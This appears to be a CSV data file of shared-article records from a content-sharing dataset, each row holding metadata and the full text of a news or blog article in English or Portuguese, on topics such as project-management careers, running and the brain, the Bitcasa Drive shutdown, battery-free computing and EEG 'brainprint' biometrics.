1461326544,CONTENT SHARED,-6479058008972757948,-1130272294246983140,7789248709846909056,,,,RICH,https://soundcloud.com/brains9/188-profissao-gerente-de-projetos,#188. Profissão: Gerente de Projetos by brains9,"published on Relativamente nova dentro das agências e empresas, a função de Gerente de Projetos vem crescendo nos últimos anos, como sonho dourado de uma implementação mais ágil de processos e melhor rentabilidade. No <strong>Braincast 188</strong>, <a href="" Merigo</a> e <a href="" Dias</a> conversaram com <a href="" Martin</a>, diretor de projetos na <strong>DM9DDB</strong>, e <a href="" Martins</a>, diretor de operações digitais na <strong>Ogilvy Brasil</strong>, para descobrir os vários modelos de atuação de um profissional da área. Como começar a carreira, quais as habilidades fundamentais de um GP, como é a interação com o atendimento e criação, etc. > OUÇA ======== Workshop: Planejamento de Love Brands Arregace as mangas, porque workshop não é palestra e você vai ter que mostrar trabalho. Você sabe o que é uma Love Brand. São as marcas que estampam nossas selfies, são foco dos nossos memes, personagens dos nossos filmes preferidos e fazem parte da construção da nossa identidade. Vamos partir desse conhecimento para desenhar juntos a história da <strong>Coca-Cola</strong>, <strong>McDonalds</strong>, <strong>Nike</strong>, <strong>Apple</strong>, <strong>Converse</strong>, <strong>Nutella</strong>, <strong>Oreo</strong>, <strong>Ben & Jerry's</strong>, <strong>Tiffany</strong> e <strong>Red Bull</strong> só para aquecer. Com esse imaginário coletivo organizado e estruturado como pano de fundo, viajaremos pelas marcas regionais que, sem verbas milionárias, conseguiram conquistar um espaço cativo no coração dos consumidores. Para encerrar, vamos elaborar os pilares que constróem, sustentam e diferenciam as love brands e fazer o reposicionamento de uma marca para atingir esse status. Para quem quer aprender, para os que buscam inspiração e também para quem precisa exercitar a criatividade. Vem! > Dia <strong>30 de abril</strong>, das <strong>10h às 17h</strong>, em São Paulo > Com Juliana Wallauer <strong><a href="" INSCREVA-SE</a></strong> ======== PATREON DO BRAINCAST Saiba <a href="" se tornar um patrono do Braincast aqui</a> e ganhar lindas recompensas. ======== Críticas, comentários, sugestões para <a href=""mailto:braincast@b9.com.br"">braincast@b9.com.br</a> ou nos comentários desse post. <strong>&gt; Edição:</strong> <a href="" Corraini</a> <strong>&gt; Sound Design:</strong> <a href="" Teixeira</a> <strong>&gt; Arte da Capa:</strong> <a href="" Brito</a> Download #188. Profissão: Gerente de Projetos License: cc-by-nc",pt
1461328544,CONTENT SHARED,8982094176562780806,-1032019229384696495,-2185504317950538738,,,,HTML,http://nymag.com/scienceofus/2016/04/how-neuroscientists-explain-the-mind-clearing-magic-of-running.html,How Neuroscientists Explain the Mind-Clearing Magic of Running,"It is something of a cliché among runners, how the activity never fails to clear your head. Does some creative block have you feeling stuck? Go for a run. Are you deliberating between one of two potentially life-altering decisions? Go for a run. Are you feeling mildly mad, sad, or even just vaguely meh ? Go for a run, go for a run, go for arun. The author Joyce Carol Oates once wrote in a column for the New York Times that ""in running the mind flees with the body ... in rhythm with our feet and the swinging of our arms."" Filmmaker Casey Neistat told Runner's World last fall that running is sometimes the only thing that gives him clarity of mind. ""Every major decision I've made in the last eight years has been prefaced by a run,"" he told the magazine. But I maybe like the way a runner named Monte Davis phrased it best, as quoted in the 1976 book The Joy of Running : ""It's hard to run and feel sorry for yourself at the same time,"" he said. ""Also, there are those hours of clear-headedness that follow a longrun."" A good run can sometimes make you feel like a brand-new person. And, in a way, that feeling may be literally true. About three decades of research in neuroscience have identified a robust link between aerobic exercise and subsequent cognitive clarity, and to many in this field the most exciting recent finding in this area is that of neurogenesis . Not so many years ago, the brightest minds in neuroscience thought that our brains got a set amount of neurons, and that by adulthood, no new neurons would be birthed. But this turned out not to be true. Studies in animal models have shown that new neurons are produced in the brain throughout the lifespan, and, so far, only one activity is known to trigger the birth of those new neurons: vigorous aerobic exercise, said Karen Postal, president of the American Academy of Clinical Neuropsychology. ""That's it,"" she said. ""That's the only trigger that we knowabout."" The other fascinating thing here is where these new cells pop up: in the hippocampus, a region of the brain associated with learning and memory. So this could help explain, at least partially, why so many studies have identified a link between aerobic exercise and improvement in memory. ""If you are exercising so that you sweat - about 30 to 40 minutes - new brain cells are being born,"" added Postal, who herself is a runner. ""And it just happens to be in that memoryarea."" Other post-run changes have been recorded in the brain's frontal lobe, with increased activity seen in this region after people adopt a long-term habit of physical activity. This area of the brain - sometimes called the frontal executive network system - is located, obviously enough, at the very front: It's right behind your forehead. After about 30 to 40 minutes of a vigorous aerobic workout - enough to make you sweat - studies have recorded increased blood flow to this region, which, incidentally, is associated with many of the attributes we associate with ""clear thinking"": planning ahead, focus and concentration, goal-setting, timemanagement. But it's this area that's also been linked to emotion regulation, which may help explain the results of one recent study conducted by Harvard psychology professor Emily E. Bernstein. Like Postal, Bernstein is also a runner, and was curious about a pattern she saw in her own mind after a run. ""I notice in myself that I just feel better when I'm active,"" she said. She started to become really interested in the intervention studies that have popped up in recent years that suggest if you can get people who are having trouble with mood or anxiety to exercise, it helps. ""But why?"" she wanted to know. ""What is exercise actuallydoing?"" To find out, she did a version of a classic experiment among researchers who study emotion: She and her colleague - Richard J. McNally, also of Harvard - played a reliable tearjerker of a clip: the final scene of the 1979 film The Champ . Here, why don't you watch it for yourself and try not tocry: Before watching the film clip, some of the 80 participants were made to jog for 30 minutes; others just stretched for the same amount of time. Afterward, all of them filled out surveys to indicate how bummed out the film had made them. Bernstein kept them busy for about 15 minutes after that, and surveyed them again about how they were feeling. Those who'd done the 30-minute run were more likely to have recovered from the emotional gut-punch than those who'd just stretched - and, her results showed, the people who'd initially felt worse seemed to especially benefit from the run. Bernstein is currently doing a few follow-up research projects to determine exactly why this works the way it does. (In the meantime, it helps prove my poor boyfriend right, who, when I am not acting very nicely toward him, will often patiently ask me, ""Hey, have you been on a run yettoday?"") But there's another big mental benefit to gain from running, one that scientists haven't quiet yet managed to pin down to poke at and study: the wonderful way your mind drifts here and there as the miles go by. Mindfulness, or being here now , is a wonderful thing, and there is a seemingly ever-growing stack of scientific evidence showing the good it can bring to your life. And yet mind less ness - daydreaming, or getting lost in your own weird thoughts - is important, too. Consider, for example, this argument, taken from a 2013 article by a trio of psychologists in the journal Frontiers in Psychology : We mind wander, by choice or by accident, because it produces tangible reward when measured against goals and aspirations that are personally meaningful. Having to reread a line of text three times because our attention has drifted away matters very little if that attention shift has allowed us to access a key insight, a precious memory or make sense of a troubling event. Pausing to reflect in the middle of telling a story is inconsequential if that pause allows us to retrieve a distant memory that makes the story more evocative and compelling. Losing a couple of minutes because we drove past our off ramp is a minor inconvenience if the attention lapse allowed us to finally understand why the boss was so upset by something we said in last week's meeting. Arriving home from the store without the eggs that necessitated the trip is a mere annoyance when weighed against coming to a decision to ask for a raise, leave a job, or go back toschool. Just because the benefits of losing yourself in your own thoughts are not easily measured doesn't mean they're not of value, and there are few ways I know of that induce this state of mind more reliably than a long run. A handful of recent studies have tried to answer what every runner, whether pro or hobbyist, has no doubt been asked by friends and family: What on earth do you think about while you're out there for so many miles? This, as the writer Haruki Murakami noted in his What I Talk About When I Talk About Running , is almost beside the point. Sometimes he thinks while on the run; sometimes, he doesn't. It doesn't really matter. ""I just run. I run in void,"" he writes. ""Or maybe I should put it the other way: I run in order to acquire avoid.""",en
1461331350,CONTENT SHARED,-5600393064072065417,-1032019229384696495,-2185504317950538738,,,,HTML,http://venturebeat.com/2016/04/21/bitcasa-killing-drive-cloud-storage-service-on-may-20-will-focus-on-growing-platform-business/,"Bitcasa killing Drive cloud storage service on May 20, will focus on 'growing platform business'","Bitcasa , a company that has offered a cloud storage service for backing up files, today announced the discontinuation of its Bitcasa Drive cloud service. The service will become unavailable at 11:59 p.m. PT on May 20. ""We are discontinuing our Bitcasa Drive service in order to focus our full attention on our growing platform business,"" the company said in an unusually succinct blog post . ""All account owners must take action to avoid losing their files. For more information, please visit our Help Center . Thank you for being a Bitcasa Drive user. We have appreciated all of your support."" Aside from Bitcasa Drive, the company offers CloudFS application programming interfaces (APIs) that companies can use to embed Bitcasa's capabilities into their own applications. With its consumer service, though, Bitcasa has had several competitors, including Box, Dropbox, Google Drive, Microsoft OneDrive, not to mention Backblaze, Carbonite, Code42's Crashplan, and IDrive. This is sudden, for sure, but in 2014 Bitcasa stopped giving users an unlimited amount of storage, and earlier this month Bitcasa announced that free 5GB accounts were going away and that they would be converted into ""free trial"" accounts that would be available for 60 days beginning on April 7. Bitcasa also has offered a ""premium"" 1TB service tier for $10 per month and a ""pro"" 10TB tier for $99 per month. Bitcasa started in 2011 and is based in Mountain View, California. Investors include Pelion Venture Partners, Horizons Ventures, Andreessen Horowitz, First Round Capital, CrunchFund, and Samsung Ventures. Bitcasa is the creator of infinite and secure storage across all devices. The company provides infinite storage, anywhere streaming access, instant sharing and automatic backup with built-in client-side encryption to ensure privacy. Bi... read more "" Get more stories like this on Twitter & Facebook",en
1461331529,CONTENT SHARED,-2841995722250280583,-1032019229384696495,-2185504317950538738,,,,HTML,http://www.fastcodesign.com/3059141/this-battery-free-computer-sucks-power-out-of-thin-air,This Battery-Free Computer Sucks Power Out Of Thin Air,"Today, the biggest hurdle when it comes to designing new gadgets is battery technology. These big, bulky things restrict the forms our smartphones, computers, and wearables can take, and unfortunately, battery technology is so stagnant that there's no promise of things getting better any time soon. But what if you could leave the battery out of the equation entirely? That's just what the University of Washington's Sensor Lab has done. Researchers there created the WISP, or Wireless Identification and Sensing Platform: a combination sensor and computing chip that doesn't need a battery or a wired power source to operate. Instead, it sucks in radio waves emitted from a standard, off-the-shelf RFID reader-the same technology that retail shops use to deter shoplifters-and converts them into electricity. The WISP isn't designed to compete with the chips in your smartphone or your laptop. It has about the same clock speed as the processor in a Fitbit and similar functionality, including embedded accelerometers and temperature sensors. ""It's not going to run a video game, but it can track sensor data, do some minimal processing tasks, and communicate with the outside world,"" says Aaron Parks , a researcher at the University of Washington Sensor Lab. It accomplishes this latter feat by backscattering incoming radio signals, which Parks says is the equivalent of communicating in morse code with a hand mirror by bouncing light. Surprisingly, Parks says this technique is pretty fast. It has about the same bandwidth as Bluetooth Low Energy mode, the wireless power-sipping technology which drives most Bluetooth speakers and wireless headphones. That's what gives the WISP -which has been knocking around as a project since 2006- its new killer feature, thanks to a team-up with the University of Delft: it can now be reprogrammed wirelessly. So, for example, a fitness tracker running on WISP can now download a new tracking function, or be updated to fix a bug or glitch, without plugging it into anything. That's important because it's never been done before. The WISP isn't the only battery-free computer chip out there. Parks says there's also ambient battery-free sensors that leech whatever power they can, from passing television waves, cell towers, and so on. But right now, these ambient battery-free computers are very slow, and aren't remotely programmable. By pairing the WISP with an RFID reader, Parks says they've been able to make a battery-free computer that's up to 10 times as powerful as an ambient one. But what are these battery-free computers actually good for? Parks says that we're a long way off from the point when you could wirelessly power an iPhone or a laptop from radio waves, if that's even achievable at all. But where WISP could be used right now is architecture. By embedding these sensors in concrete structures, inspectors could detect whether or not a building's foundations had been damaged by an earthquake-without cracking anything open. Parks also says battery-free computers are perfect for implantable devices, to monitor patients' health. There's also interest in WISP-like computers from the agriculture industry, which sees value in it as a way of monitoring thousands of plants at a time. There are also plenty of consumer applications for battery-free computing too, like fitness bands. And Parks says that you could even put a battery-free computer into a smartphone, which could be used to send an emergency message when the device's battery is dead. The ultimate appeal of WISP and other battery-free computers, though, is in fully realizing the Internet of Things. It could give ""dumb"" objects some smarts. ""Imagine if your wallpaper could run apps, or change color to match your lighting, without having to wire it into anything,"" says Parks. ""That's not out of the question anymore.""",en
1461333191,CONTENT SHARED,-3548152957882579401,3609194402293569455,7649741766499531830,,,,HTML,https://www.mundodomarketing.com.br/index.php/ultimas-noticias/36021/como-os-millennials-estao-mudando-o-mercado-financeiro.html,Como os millennials estão mudando o mercado financeiro,"Os aplicativos bancários e os cartões de crédito inteiramente gerenciados por smartphones são apenas a ponta do iceberg das mudanças pelas quais o mercado financeiro vem passando ao longo dos últimos cinco anos. As novidades surgem em resposta, principalmente, às demandas dos millennials. A tecnologia adaptada às necessidades dos consumidores está mudando o cenário dessa indústria em todo o mundo, como mostra estudo da Crimson Hexagon, plataforma de análise de dados sociais. A penetração da tecnologia digital nos hábitos da sociedade abalou os serviços tradicionais. As ofertas precisaram ser repensadas, assim como as opiniões e frustrações dos consumidores passaram a estar amplificadas nos fóruns abertos nas redes sociais, influenciando a percepção pública. O burburinho em torno do Nubank, por exemplo, fez do cartão o mais cobiçado, com uma fila de espera de 70 mil pessoas, apesar de estar disponível somente a partir de convite. Tudo começou com a perda de confiança nas instituições tradicionais ocorrida após a recessão mundial, iniciada em 2008 nos Estados Unidos. Novas soluções foram criadas, desde então, para suprir uma demanda reprimida de consumidores que estavam insatisfeitos com as dificuldades de ter acesso a seus dados e de fazer operações a qualquer hora do dia ou da noite, com a burocracia e com as taxas exorbitantes, sejam as administrativas ou as de juros. Mercado de seguros em baixa Do outro lado, cresceu a confiança em tecnologias móveis e na internet como meio de conexão com as mais diversas instituições, inclusive as financeiras. A redução na oferta de empregos a partir da crise, especialmente para os recém-formados, fez também com que os clientes millennials deixassem de enxergar o seguro de vida como uma prioridade. Os jovens raramente discutem o assunto e, quando o fazem, é mais provável que seja no sentido de não pagar pelo serviço. A Crimson Hexagon destaca a importância desta indústria entender as tendências de comportamento dos consumidores contemporâneos seriamente, para capitalizar por meio de campanhas direcionadas ao público mais jovem, educando-o sobre o valor de longo prazo de seus produtos. O levantamento da plataforma mostrou que conversas nas redes sociais em torno de ideias como ""muitas pessoas não têm"" cresceram 19% entre 2010 e 2015; e ""não tenho nem pretendo adquirir"", tiveram alta de 10% no período. Enquanto isso, recomendações e trocas de conhecimentos caíram 2%; ""me sentindo adulto"" apresentaram queda de 3%; e ""proteger a família"" tiveram baixa de 5%. No setor automotivo, a competição entre as indústrias de seguro continua a crescer, mas, segundo a Time, somente 64% dos millennials tem seguro para seus carros. Esse índice é 20% mais baixo do que o de gerações anteriores. Segundo a análise da Crimson Haxagon, preços competitivos são o fator mais importante para os compradores dessas soluções. Questões referentes a contas, preços e cotações dominaram as conversas na internet. Foco nas promessas Os serviços financeiros trabalharam duro, ao longo dos últimos anos, para se renovarem tecnologicamente e oferecerem produtos e serviços digitais. As inovações fizeram com que o setor avançasse mais do que outros, mas também elevou as expectativas dos consumidores. As empresas estão aprendendo que o desenvolvimento de novas soluções precisa estar alinhado com as suas promessas. Até porque a perda de confiança é capaz de causar um estrago enorme na reputação de uma marca. No caso das instituições financeiras, elas devem ter especial atenção à segurança e à agilidade e desburocratização das transações. Ao longo dos últimos cinco anos, houve uma queda de 18% no sentimento positivo em relação ao mobile banking. O feedback negativo em relação a esse serviço cresceu 15%. Por outro lado, as conversas dos consumidores a respeito do futuro dos APPs de bancos apresentou alta de 3%. No período de 2010 a 2015, analisado pela Crimson Hexagon, as conversas no Twitter e no Facebook foram majoritariamente sobre frustrações e satisfações em relação a taxas, atendimento ao consumidor e serviços online. As proporções entre os motivos das queixas variam de acordo com a idade do consumidor. Entre os millennials, 23% delas se referem a taxas, 36% ao atendimento ao consumidor e 42% ao serviço online. Já entre os clientes com mais de 35 anos, essas proporções são, respectivamente, de 23%, 23% e 54%. Fonte de conselhos Ocorre hoje também uma mudança significativa em relação às fontes de informações consideradas confiáveis e priorizadas. Em vez de buscar profissionais, muitos preferem ouvir seus próprios pares. Segundo levantamento da Financial Advisor, mais de 50% dos americanos sentem que os consultores colocam os interesses das companhias em primeiro lugar e só depois os dos clientes. Ainda de acordo com este estudo, somente 12% dos consumidores dos Estados Unidos acreditam que suas necessidades são priorizadas quando buscam conselhos financeiros. Ao longo dos últimos cinco anos, a publicação de conteúdo sobre investimentos bancários migrou do Twitter e Facebook para plataformas que suportam textos mais longos, como blogs e fóruns de discussão. Nos Estados Unidos, os debates, em 2015, estavam assim distribuídos: 65% em fóruns; 26% no Twitter; 8% em blogs; e 1% no Facebook. Globalmente, as proporções são um pouco diferentes: 36% em blogs;35% em fóruns; 26% no Twitter; e 1% no Facebook. Também é importante analisar as taxas de crescimento de cada uma dessas mídias. Nos Estados Unidos, que costumam liderar movimentos de mercado, o aparecimento do tema nos fóruns cresceu 26% ao longo dos últimos cinco anos. Nos blogs, essa alta foi de 13%. Já o Facebook apresentou queda de 4% e o Twitter teve baixa de consideráveis 36%. Leia mais informações no estudo completo da Crimson Haxagon , em inglês.",pt
1461333671,CONTENT SHARED,-1165347641456093580,3609194402293569455,7649741766499531830,,,,HTML,http://trendwatching.com/trends/built-in-brands/,New Asia Trend Bulletin from TrendWatching | BUILT-IN BRANDS,"Our identification of the BUILT-IN BRANDS trend didn't come via a spontaneous midnight brainstorming session ;) Instead, as with all our trends, the process was rather more straightforward - and structured. That's because all the trends we spot and share are really newly-emerging directions of travel in one (or more) of our 16 mega-trends . These mega-trends are the big, slow-moving currents in the consumer arena and, taken together, they form the Trend Framework: our complete picture of consumerism today and where it's heading. Grab a glimpse of the Trend Framework below. Having a robust and comprehensive Trend Framework allows us to assess the implications of the hundreds, if not thousands, of innovations we receive from TW:IN (TrendWatching's global network of spotters) every day. Meaning we can keep spotting and sharing great trends.",en
1461334662,CONTENT SHARED,-8797444257711529901,-1130272294246983140,7789248709846909056,,,,HTML,http://www.brunoavila.com.br/avante/mercado/e-quando-o-cliente-diz-nao-gostei.html,"E quando o cliente diz ""Não gostei""?","Dez entre dez webdesigners se tremem ao ouvir do cliente aquela pequena frase, bem negativa: não gostei. Quem aqui gosta de ouvir isso? Acho que ninguém, não é mesmo? Nem os novatos, nem os experientes. Não é fácil trabalhar com gostos, isso é verdade, mas o que explica uns gostarem de Yakisoba e outros não? Alguns sentem gosto nos sanduíches do McDonalds, enquanto outros afirmam só sentir gosto de plástico e isopor. Um dia uma aluna minha colocou toda sua indignação pra fora dizendo o quanto o vermelho do site G1 era terrível, mas ela mostrou o motivo, defendendo sua idéia de que o vermelho não é o mais apropriado para um site de notícias. Pelo menos ela falou com conhecimento - já que além de webdesigner era psicóloga e sabia muito bem a teoria das cores de cór e salteado. Agora imaginem vocês lidar com o gosto do cliente, aquele que contrata você por não saber bulufas sobre cores, design, formas, muito menos de comunicação visual.Você cria o layout do site, apresenta ao cliente e ele diz: não gostei. E agora? O cliente é culpado por não gostar? ""Poxa Bruno, mas o layout estava tão legal, bonito, o melhor que já fiz na vida, tentei defender de todas as formas, mas ele quis mudar a cor do layout de cinza para violeta, mesmo sendo uma siderurgia. O cara faz aço, ferro, o que tem a ver violeta com isso?"" Na maioria das vezes é questão de gosto. Dizem que gosto não se discute, mas na nossa profissão, gosto deve ser discutido sim. ""Mas Bruno, e quando o gosto do cliente não é tão gostoso assim?"" Bem, aí existem algumas ações que você pode tomar para evitar isso. 1. Briefing : este momento é importantíssimo. O briefing não deve se resumir a um simples questionário aplicado em forma de entrevista. Você deve conversar com seu cliente assim como conversa com um amigo. Aborde temas fora do assunto internet, pergunte sobre a empresa, o que ela faz, mas também pergunte ao cliente as cores que ele gosta, que estilo ele prefere e deixe o papo fluir. É importante que você saiba que o briefing vai além da simples entrevista. É quase que um trabalho sensorial. Você deve perceber como o cliente vê o mundo a sua volta, se a vida dele vai bem, se ele está satisfeito com seu momento atual. Parece complicado, mas aposto que você já botou esse seu lado sensorial em prática muitas vezes. Por exemplo, numa festa você conhece uma pessoa pela primeira vez. Algum amigo apresenta e essa pessoa senta na mesma mesa que vocês. Um dos dois puxa conversa e em alguns minutos você já está sabendo o que a pessoa gosta de fazer, o que ela faz, se ela é simpática, bem humorada, satisfeita ou insatisfeita, chata e negativa. Esse mesmo trabalho de análise deve ser feito na primeira entrevista com o cliente. Isso pode evitar momentos desagradáveis. Um amigo meu me contou uma história que aconteceu com outro amigo dele, publicitário. Este publicitário foi apresentar a campanha impressa para o cliente, mostrou o anúncio de revista num telão para o dono da empresa e os sócios. A peça mostrava uma moto em alta velocidade. O dono da empresa saiu da sala chorando e mandou tirar o anúncio. Na hora esse publicitário não entendeu o motivo de tal atitude. Logo depois ficou sabendo: o filho do cliente tinha falecido dias antes. A causa da morte foi acidente de moto. Talvez, numa conversa com o cliente ou conversando com os próprios funcionários, seria possível saber disso antes de criar a peça. Isso mostra o quanto é fundamental essa primeira fase do projeto e como o briefing vai além das simples perguntinhas do questionário. 2. Tenha argumentos para defender seu layout. Não adianta dizer para o cliente: ""Senhor, o layout está bom, está bonito!"". O cliente pergunta: ""Porquê?"". E você responde: ""Porquê eu acho bonito, lindo, é o melhor layout que já fiz. E todos meus amigos também acharam"". Achismos. Isso mostra total insegurança do profissional. Você deve ter argumentos convincentes para defender o seu layout. Dizer que usou tal forma pois isso nos leva a isso e aquilo, fazendo uma alusão a tal coisa. Explique o significado da cor escolhida relatando os estudos feitos em relação a cor dentro dos estudos da psicologia das cores. Mostre que o uso do quadrado junto com o retângulo corresponde a determinada lei da gestalt, isso mostra que você tem conhecimento do assunto, se mostra um especialista e passa segurança para o cliente. É o mesmo que o mecânico. Você não entende nada de mecânica, mas quando ele chega dizendo que a solução está na rebinboca da parafuseta, vai de encontro a essa estranha peça e corrige o problema em minutos, você passa a ter segurança no que esse mecânico diz. Você já viu uma rebimboca? Talvez nesta foto podemos ver um monte delas. E as parafusetas, onde estão? Bem, devemos analisar isso com muito cuidado. Se você chega num consultório médico e o doutor disser para você que a sua doença é uma virose e receita um simples paracetamol para você tomar, não bate uma desconfiança em você? Pensamos assim: ""Poxa, é muito fácil esse doutor dizer que é uma virose. Claro, simples pra ele, assim ele me dispensa e atende outro"". Agora quando o médico faz uma bateria de exames e descobre que sua virose se trata da Paramyxovirus e ainda explica a você que ""é um grupo de vírus envelopados com genoma de RNA simples de sentido negativo (é a cópia que é usada para a síntese proteica) e que sua transmissão é por gotas expelidas em espirros ou tosse"", me diga, você não sente uma segurança muito maior, chegando a pensar ""Pooooxa... esse doutor sabe mesmo. O outro lá só disse que era uma virose, esse não, disse o nome da virose e ainda me disse como eu devo ter pegado isso"". Nesse caso você é o doutor. Você detém o conhecimento, por isso explique ao cliente o motivo de todos os elemento utilizados no layout, desde as cores usadas, até as imagens e formas. O cliente irá confiar mais em você, sentirá credibilidade no que diz e poderá até deixar os seus gostos pessoais duvidosos de lado. Uma forma de aprender a defender o seu layout com argumentos convicentes é assistindo ao Curso de Design Web . 3. Muitas vezes o cliente tem razão. O seu trabalho não ficou bom. Por isso nunca saia achando que o cliente não sabe de nada. Ele pode não saber nada de design, mas é um usuário comum como a maioria que irão acessar o site dele. Então a opinião do cliente é muito importante. Tente buscar com ele o melhor caminho. Um trabalho de criação como o de layout de sites necessita da participação do cliente nessa concepção, afinal, você está mexendo com a imagem da empresa e ele sabe muito bem como é o perfil dos clientes dele. Por isso considere a opinião do cliente muito importante. Quantas vezes o cliente disse para mim ""não gostei"" e isso acabou num resultado ainda melhor do meu trabalho? 4. E quando o cliente diz não gostei e pronto? Aí a coisa complica. Você deve deixar claro que é necessário a participação dele nesse projeto. Ao dizer ""não gostei"" ele precisa dizer o que não lhe agradou. Somente assim você poderá seguir o melhor caminho, fazendo as alterações necessárias para chegar na expectativa do cliente. 5. Cuidado com o cliente que diz: ""faça do jeito que você achar melhor, não quero atrapalhar sua criatividade"". É verdade que clientes que ""ditam"" o trabalho para você acabam dificultando o trabalho, mas os que deixam muito solto também. O fato é que todos os clientes esperam alguma coisa de você, sempre tem algo em mente. O problema é que alguns não sabem expressar isso. Cabe a você tentar descobrir através do briefing e dizer ao cliente que isso não atrapalha a criatividade mas só vem auxiliar você na criação do layout afim de atender as expectativas dele. Então pessoal, na próxima vez que ouvir um ""Não gostei"", não se assustem. É normal. Acontece nas melhores famílias. Para o alto e Avante!",pt
1461339035,CONTENT SHARED,756136904399885845,-2979881261169775358,4821077593310495111,,,,HTML,http://www.kurzweilai.net/you-can-now-be-identified-by-your-brainprint-with-100-accuracy,You can now be identified by your 'brainprint' with 100% accuracy | KurzweilAI,"Binghamton University researchers have developed a biometric identification method called Cognitive Event-RElated Biometric REcognition (CEREBRE) for identifying an individual's unique ""brainprint."" They recorded the brain activity of 50 subjects wearing an electroencephalograph (EEG) headset while looking at selected images from a set of 500 images. The researchers found that participants' brains reacted uniquely to each image - enough so that a computer system that analyzed the different reactions was able to identify each volunteer's ""brainprint"" with 100 percent accuracy. In their original brainprint study in 2015, published in Neurocomputing (see 'Brainprints' could replace passwords ), the research team was able to identify one person out of a group of 32 by that person's responses, with 97 percent accuracy. That study only used words. Switching to images made a huge difference. High-security sites It's only a three-point difference, but going from 97 to 100 percent makes possible a reliable system for high-security situations, such as ""ensuring the person going into the Pentagon or the nuclear launch bay is the right person,"" said Assistant Professor of Psychology Sarah Laszlo. ""You don't want to be 97 percent accurate for that, you want to be 100 percent accurate."" Laszlo says brain biometrics are appealing because they can be cancelled (meaning the person can simple do another EEG session) and cannot be imitated or stolen by malicious means, the way a finger or retina can (as in the movie Minority Report ). ""If someone's fingerprint is stolen, that person can't just grow a new finger to replace the compromised fingerprint - the fingerprint for that person is compromised forever. Fingerprints are 'non-cancellable.' Brainprints, on the other hand, are potentially cancellable. So, in the unlikely event that attackers were actually able to steal a brainprint from an authorized user, the authorized user could then 'reset' their brainprint,"" Laszlo explained. Analyzing ""event-related potential"" brain signals The researchers found in their original study that the key to detecting differences in brain signals was to look at and analyze "" event-related potential (ERP) brain signals recorded from each subject. ERPs are brain signals that are triggered by specific events (such as seeing a photo). Unlike EEG signals, ERPs are unique and happen over a period of a few milliseconds. How ERPs are identified The researchers used six types of stimuli in the CEREBRE protocol: sine gratings, low frequency words, color versions of black and white images, black and white foods, black and white celebrity faces, and color foods. For the foods and celebrity faces, they used ten tokens of each stimulus type (e.g., 10 different foods). As the authors note in a new paper in The IEEE Transactions on Information Forensics and Security , ""We ... predict that, while ERPs elicited in response to single categories of stimulation (e.g., foods) will be somewhat identifiable, combinations of ERPs elicited in response to multiple categories of stimulation will be even more identifiable. ""This prediction is supported by the likelihood that each category of stimulation will draw upon differing (though overlapping) brain systems. For example, if the sine gratings call primarily upon the primary visual cortex, and the foods call primarily on the ventral midbrain, then considering both responses together for biometric identification provides multiple, independent, pieces of information about the user's functional brain organization - each of which can contribute unique variability to the overall biometric solution."" Andrew Hatling/Binghamton University | The New Biometric - Brainprint Abstract of CEREBRE: A Novel Method for Very High Accuracy Event-Related Potential Biometric Identification The vast majority of existing work on brain biometrics has been conducted on the ongoing electroencephalogram. Here, we argue that the averaged event-related potential (ERP) may provide the potential for more accurate biometric identification, as its elicitation allows for some control over the cognitive state of the user to be obtained through the design of the challenge protocol. We describe the Cognitive Event-RElated Biometric REcognition (CEREBRE) protocol, an ERP biometric protocol designed to elicit individually unique responses from multiple functional brain systems (e.g., the primary visual, facial recognition, and gustatory/appetitive systems). Results indicate that there are multiple configurations of data collected with the CEREBRE protocol that all allow 100% identification accuracy in a pool of 50 users. We take this result as the evidence that ERP biometrics are a feasible method of user identification and worthy of further research.",en
1461339090,CONTENT REMOVED,756136904399885845,-2979881261169775358,4821077593310495111,,,,HTML,http://www.kurzweilai.net/you-can-now-be-identified-by-your-brainprint-with-100-accuracy,You can now be identified by your 'brainprint' with 100% accuracy | KurzweilAI,"Binghamton University researchers have developed a biometric identification method called Cognitive Event-RElated Biometric REcognition (CEREBRE) for identifying an individual's unique ""brainprint."" They recorded the brain activity of 50 subjects wearing an electroencephalograph (EEG) headset while looking at selected images from a set of 500 images. The researchers found that participants' brains reacted uniquely to each image - enough so that a computer system that analyzed the different reactions was able to identify each volunteer's ""brainprint"" with 100 percent accuracy. In their original brainprint study in 2015, published in Neurocomputing (see 'Brainprints' could replace passwords ), the research team was able to identify one person out of a group of 32 by that person's responses, with 97 percent accuracy. That study only used words. Switching to images made a huge difference. High-security sites It's only a three-point difference, but going from 97 to 100 percent makes possible a reliable system for high-security situations, such as ""ensuring the person going into the Pentagon or the nuclear launch bay is the right person,"" said Assistant Professor of Psychology Sarah Laszlo. ""You don't want to be 97 percent accurate for that, you want to be 100 percent accurate."" Laszlo says brain biometrics are appealing because they can be cancelled (meaning the person can simple do another EEG session) and cannot be imitated or stolen by malicious means, the way a finger or retina can (as in the movie Minority Report ). ""If someone's fingerprint is stolen, that person can't just grow a new finger to replace the compromised fingerprint - the fingerprint for that person is compromised forever. Fingerprints are 'non-cancellable.' Brainprints, on the other hand, are potentially cancellable. So, in the unlikely event that attackers were actually able to steal a brainprint from an authorized user, the authorized user could then 'reset' their brainprint,"" Laszlo explained. Analyzing ""event-related potential"" brain signals The researchers found in their original study that the key to detecting differences in brain signals was to look at and analyze "" event-related potential (ERP) brain signals recorded from each subject. ERPs are brain signals that are triggered by specific events (such as seeing a photo). Unlike EEG signals, ERPs are unique and happen over a period of a few milliseconds. How ERPs are identified The researchers used six types of stimuli in the CEREBRE protocol: sine gratings, low frequency words, color versions of black and white images, black and white foods, black and white celebrity faces, and color foods. For the foods and celebrity faces, they used ten tokens of each stimulus type (e.g., 10 different foods). As the authors note in a new paper in The IEEE Transactions on Information Forensics and Security , ""We ... predict that, while ERPs elicited in response to single categories of stimulation (e.g., foods) will be somewhat identifiable, combinations of ERPs elicited in response to multiple categories of stimulation will be even more identifiable. ""This prediction is supported by the likelihood that each category of stimulation will draw upon differing (though overlapping) brain systems. For example, if the sine gratings call primarily upon the primary visual cortex, and the foods call primarily on the ventral midbrain, then considering both responses together for biometric identification provides multiple, independent, pieces of information about the user's functional brain organization - each of which can contribute unique variability to the overall biometric solution."" Andrew Hatling/Binghamton University | The New Biometric - Brainprint Abstract of CEREBRE: A Novel Method for Very High Accuracy Event-Related Potential Biometric Identification The vast majority of existing work on brain biometrics has been conducted on the ongoing electroencephalogram. Here, we argue that the averaged event-related potential (ERP) may provide the potential for more accurate biometric identification, as its elicitation allows for some control over the cognitive state of the user to be obtained through the design of the challenge protocol. We describe the Cognitive Event-RElated Biometric REcognition (CEREBRE) protocol, an ERP biometric protocol designed to elicit individually unique responses from multiple functional brain systems (e.g., the primary visual, facial recognition, and 